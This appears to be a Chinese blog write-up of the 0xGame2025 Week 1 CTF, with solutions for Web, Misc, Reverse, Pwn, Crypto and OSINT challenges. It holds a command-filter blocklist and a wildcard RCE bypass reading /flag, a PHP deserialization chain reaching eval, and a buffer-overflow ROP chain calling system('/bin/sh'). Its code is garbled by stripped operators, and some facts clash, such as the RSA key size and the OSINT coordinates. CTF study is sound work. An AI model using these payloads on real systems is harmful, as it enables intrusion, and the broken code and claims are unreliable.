0xGame2025 Week1 全赛道实战复盘:从Web渗透到Osint追踪的CTF解题心法

张开发
2026/4/11 15:42:17 15 分钟阅读

分享文章

0xGame2025 Week1 全赛道实战复盘:从Web渗透到Osint追踪的CTF解题心法
1. Web赛道实战复盘从F12到反序列化链构造1.1 Lemon题目浏览器开发者工具的妙用这道题给新手上的第一课就是永远不要忽视前端代码。当我打开题目页面时首先尝试了所有CTF选手的标配操作——按下F12打开开发者工具。在Network标签页中我发现了一个有趣的请求POST /?helloweb HTTP/1.1 Host: challenge.ctfplus.cn Referer: www.mihoyo.com Cookie: Seangod这里有几个关键点值得注意修改Referer头为任意值如www.mihoyo.com可以绕过某些防护Cookie中设置的Seangod可能是身份验证的关键尝试在控制台直接执行document.cookieSeangod后刷新页面实际踩坑经验最初我试图用Burp Suite重放请求但后来发现直接在浏览器控制台修改Cookie更快捷。对于这类基础Web题浏览器的原生功能往往比专业工具更高效。1.2 RCE1命令过滤的花式绕过这道题展示了典型的命令注入防护与绕过// 过滤了这些关键词 system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings|*我的绕过方案是用tac代替cat反向输出文件内容使用反引号执行命令tac /f???通配符技巧/f???匹配/flag当system被过滤时可以用passthru或反引号执行实用payload?rce1[]1rce2[]2rce3print(tac /f???);1.3 Rubbish_UnserPHP反序列化链构造这道题需要构造完整的反序列化利用链ZZZ::__destruct → __toString → Mi::__toString → GI::__call → HI3rd::__invoke → HSR::__get → eval关键突破点在于利用PHP的弱类型比较$kiana ! $RaidenMei但MD5和SHA1值相等通过Exception类实现这个条件new Exception(,1)和new Exception(,2)最后触发HSR::__get中的eval($this-robin)完整exp代码class ZZZ { public $yuzuha; function __construct($yuzuha) { $this-yuzuha $yuzuha; } function __destruct() { echo $this-yuzuha; } } // ...其他类定义... $anew ZZZ(1); $a-yuzuhanew Mi(); $a-yuzuha-gamenew GI(); $a-yuzuha-game-furinanew HI3rd(); $a-yuzuha-game-furina-kiananew Exception(,1); $a-yuzuha-game-furina-RaidenMeinew Exception(,2); $a-yuzuha-game-furina-guanxingnew HSR(); echo urlencode(serialize($a));2. Misc赛道从Base64到隐写分析2.1 Sign_in编码套娃的艺术这道题看似简单的Base64解码实则暗藏玄机第一层Base64解码得到看似乱码的结果仔细观察发现是二次凯撒加密字母位移写脚本暴力破解所有可能的位移组合import base64 from itertools import product data VmxSQ2EyTnJPVmhUV0d4V1YwZDRhRmxVUm5kaFZtUjBUMVpTVGsxWFRURlZWMVpyVjIxV05tVkdXbFZOVmtwWQ decoded base64.b64decode(data).decode() for shift1, shift2 in product(range(26), repeat2): flag [] for c in decoded: if c.isupper(): flag.append(chr((ord(c) - ord(A) - shift1) % 26 ord(A))) elif c.islower(): flag.append(chr((ord(c) - ord(a) - shift2) % 26 ord(a))) else: flag.append(c) print(.join(flag))2.2 Zootopia隐写文件分析实战这道题教会我不要相信文件扩展名使用file命令检查真实文件类型发现是磁盘镜像后用挂载命令查看sudo losetup -fP do_not_enter.dd sudo mount /dev/loop0p2 /mnt/test sudo grep -r 0xGame /mnt/test关键技巧当遇到未知文件时先用binwalk分析文件结构再用xxd查看十六进制签名。3. Reverse赛道从UPX脱壳到Z3求解3.1 BaseUpx脱壳与静态分析这道题展示了标准UPX加壳程序的逆向流程使用DIE查壳确认是UPX脱壳命令upx -d targetIDA分析脱壳后的程序定位到关键字符串比较逻辑逆向技巧在IDA中搜索字符串wrong或correct能快速定位关键判断逻辑。3.2 ZZZ用Z3求解方程这道数学题需要解以下方程组from z3 import * x1,x2,x3,x4 BitVecs(x1 x2 x3 x4, 32) s Solver() s.add(3*x2 5*x1 7*x4 2*x3 -1445932505) s.add(2*(2*(2*x2 x3) x1) x4 -672666814) s.add(7*x2 3*x1 5*x4 4*x3 958464147) s.add(((x1 ^ x2) 6) ((x3 6) ^ 0x4514) 123074281)解题心得Z3求解器在CTF中应用广泛尤其适合逆向工程中的约束求解。记得检查解的唯一性有时需要添加额外约束。4. Pwn赛道栈溢出与ROP链构造4.1 stack overflow基础栈溢出利用典型栈溢出题目只需覆盖返回地址from pwn import * payload ba*0x38 p64(0x4011F7) io.send(payload)防护绕过如果遇到Canary保护可以尝试泄露Canary值或使用格式化字符串漏洞。4.2 ROP1ret2system利用构建基本ROP链调用system(/bin/sh)system p64(0x401195) sh p64(0x000000000040201e) rdi p64(0x000000000040117e) payload ba*0x28 rdi sh system工具推荐使用ROPgadget工具自动查找可用gadgetROPgadget --binary ./pwn | grep pop rdi5. Crypto赛道从RSA到DH密钥交换5.1 ez_RSA小素数分解攻击题目给出n 5288062996177288067805240670327919739339874127477405321607402348589147491552053048231920112750216696782518281218048178087877077018108705271341382858124037 c 2454797328903978848197140611862882439826920912955785083080835692389929572917351093371626343669582289242212514789420568997224614087740388703381025018563979解题步骤在factordb.com分解n得到p和q计算私钥d e^(-1) mod (p-1)(q-1)解密m c^d mod n安全启示256位RSA已不安全实际应用中应使用至少2048位密钥。5.2 Diffie-Hellman密钥交换攻击利用选择的小子群攻击发送公钥为1key sha256(long_to_bytes(1)).digest() cipher AES.new(key, AES.MODE_ECB) pt cipher.decrypt(ct)数学原理当Bob的公钥B1时共享密钥S1^a1从而破解加密。6. Osint赛道地理坐标解析6.1 猜猜background地理信息追踪题目给出提示词大室山通过地图服务查询使用Google Maps搜索大室山确认坐标范围后尝试32.1191, 118.9265最终flag格式0xGame{大室山_32.1191_118.9265}Osint技巧结合卫星地图和街景验证地点特征使用经纬度转换工具检查格式。

更多文章